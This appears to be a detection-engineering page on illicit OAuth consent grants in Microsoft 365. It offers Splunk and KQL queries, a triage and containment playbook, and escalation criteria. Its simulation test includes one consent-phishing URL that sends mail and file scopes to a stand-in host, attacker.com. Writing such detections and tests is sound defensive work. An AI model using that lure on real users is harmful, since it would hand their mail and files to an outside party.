Detect Suspicious OAuth Application Consent Grant in Microsoft 365 in Splunk
Illicit OAuth consent grants are a persistent M365 attack vector where users are tricked into granting third-party applications excessive permissions to their Microsoft 365 data. Attackers register OAuth apps with convincing names ('HR Document Portal', 'Microsoft Security Update', 'Teams Bot') and send phishing emails directing users to 'consent' to the app. Once consented, the attacker's app has persistent API access (often with Mail.Read, Contacts.Read, Files.Read, or offline_access) without needing the user's credentials or bypassing MFA. Microsoft documented Storm-0558 and Midnight Blizzard using this technique. NCSC UK warns that illicit consent grants are particularly effective against SMBs because many lack admin consent workflows. Attackers can also use 'consent phishing' through OAuth apps registered in the same Entra ID tenant after initial compromise.
MITRE ATT&CK
- Tactic
- Credential Access Collection
SPL Detection Query
index=azure sourcetype="azure:aad:audit"
OperationName IN ("Consent to application", "Add delegated permission grant",
"Add OAuth2PermissionGrant", "Add app role assignment to service principal")
Result="success"
| spath input=TargetResources path="{0}.displayName" output=AppName
| spath input=AdditionalDetails path="{}.value" output=PermissionDetails
| spath input=InitiatedBy path="user.userPrincipalName" output=ConsentorUPN
| spath input=InitiatedBy path="user.ipAddress" output=ConsentorIP
| eval sensitive_perms=if(
match(PermissionDetails, "(?i)(Mail\.Read|Mail\.ReadWrite|Mail\.Send|Files\.Read|Files\.ReadWrite|offline_access|Directory\.Read|User\.Read\.All|Contacts\.Read|Sites\.Read)"),
"YES", "NO"
)
| where sensitive_perms="YES" OR OperationName="Add app role assignment to service principal"
| stats count AS ConsentEvents,
values(AppName) AS AppsConsented,
values(PermissionDetails) AS Permissions,
values(ConsentorUPN) AS ConsentingUsers
BY ConsentorIP, _time span=24h
| eval ThreatType="SuspiciousOAuth_ConsentGrant"
| eval ThreatActors="Midnight Blizzard, Storm-0558, Fancy Bear"
| sort - ConsentEventsSPL detection for illicit OAuth consent grants in Microsoft 365. Monitors Azure AD Audit logs for application consent operations that include sensitive permissions (mail, files, directory read access) and flags them for review.
Data Sources
Required Sourcetypes
False Positives & Tuning
- IT admin deploying approved SaaS integrations
- Microsoft 365 app setup wizard granting permissions for productivity tools
Other platforms for THREAT-M365-SuspiciousOAuthConsent
Testing Methodology
Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Illicit OAuth Consent Grant Simulation
Expected signal: Azure AD Audit log records 'Consent to application' event with Mail.Read, offline_access, and Files.Read.All permissions for the test user.
Response Playbook
Triage
- Identify the application name and publisher: is this a Microsoft-published app, a well-known SaaS vendor (Salesforce, DocuSign, Slack), or an unknown/suspicious publisher?
- Check the application in Azure AD > Enterprise Applications > [App] > Permissions. Review the granted permissions against the principle of least privilege.
- Check the consenting user: did they receive a phishing email directing them to consent to this app? Review their incoming mail in the 24 hours before the consent event.
- Verify if the app is listed in Microsoft AppSource or your internal approved app registry.
- Review what data the app has accessed post-consent: Azure AD > Enterprise Applications > [App] > Activity logs / Sign-ins.
Containment
- Revoke the suspicious OAuth application consent: Azure AD > Enterprise Applications > [App] > Permissions > Revoke admin consent (or remove user consent grant).
- Block the application in Entra ID if it's malicious: Azure AD > Enterprise Applications > [App] > Properties > Enabled for users to sign-in = No.
- Enable admin consent workflow (requires Entra ID P1/P2): Azure AD > Enterprise Applications > Consent and permissions > User consent settings > Require admin approval.
- Audit all tokens issued to the revoked application and rotate credentials/secrets for any service accounts that may have also consented.
- Investigate any data access by the application before revocation.
Evidence Collection
- Azure AD Audit logs: consent event with full permission list, consenting user, application details
- Azure AD Enterprise Applications: sign-in activity and data accessed post-consent
- O365 audit logs: MailItemsAccessed, FileAccessed events attributed to the malicious application
- Phishing email (if recoverable) that directed user to consent
Escalation Criteria
- !Application granted Mail.ReadWrite or Mail.Send — attacker can read all email and send as the user
- !Application granted Files.ReadWrite.All — full SharePoint/OneDrive access
- !Admin consent granted for tenant-wide access
- !Multiple users have consented to the same suspicious application
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Azure AD Audit log: consent event details including permission scopes - >
Enterprise Application sign-in logs: all API calls made by the app post-consent - >
O365 MailItemsAccessed: mail read by the malicious application - >
SharePoint/OneDrive audit logs: file access by the application
Tuning Guidance
Enable admin consent requirement for all user consent requests in Entra ID (requires P1 or P2 licence for workflow). Without this control, any user can grant any third-party application access to their M365 data. For existing consents, run a monthly review of all enterprise applications and their permission scopes. Prioritise reviewing any app with Mail.Read, offline_access, or Files.ReadWrite.All that was not deployed by IT. Consider creating an Entra ID access review workflow for application consents.
Hunting Queries
Hunt for applications consented to by multiple users — a phishing campaign distributing consent phishing links will show multiple users consenting to the same malicious application.
AuditLogs
| where TimeGenerated > ago(90d)
| where OperationName has "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Permissions = tostring(AdditionalDetails)
| summarize
ConsentCount=count(),
ConsentingUsers=make_set(tostring(InitiatedBy.user.userPrincipalName))
by AppName, Permissions
| where ConsentCount > 1 // Multiple users consenting to same app — potential phishing campaign
| sort by ConsentCount descindex=azure sourcetype="azure:aad:audit" OperationName="Consent to application"
| spath input=TargetResources path="{0}.displayName" output=AppName
| spath input=InitiatedBy path="user.userPrincipalName" output=user
| stats count AS ConsentCount, dc(user) AS UniqueUsers, values(user) AS Users
BY AppName
| where ConsentCount > 1
| sort - ConsentCountAtomic Red Team Tests
Registers a test OAuth application with sensitive permissions and initiates the user consent flow to simulate illicit consent grant phishing.
Command
Start-Process 'https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/authorize?client_id=<TEST_APP_ID>&response_type=code&redirect_uri=https://attacker.com/callback&scope=mail.read+offline_access+files.read.all'Cleanup
Remove the test application from Azure AD > App Registrations and revoke any consented permissions.Expected Telemetry
Azure AD Audit log records 'Consent to application' event with Mail.Read, offline_access, and Files.Read.All permissions for the test user.
Expected Detection
Alert fires on sensitive permissions (Mail.Read, Files.Read.All, offline_access) in consent grant event.